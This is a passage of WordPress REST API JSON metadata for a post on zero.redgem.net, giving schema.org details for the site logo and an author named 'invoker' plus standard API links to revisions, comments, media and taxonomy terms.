redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41045","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41045"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41045\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41045"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41045"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41045"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}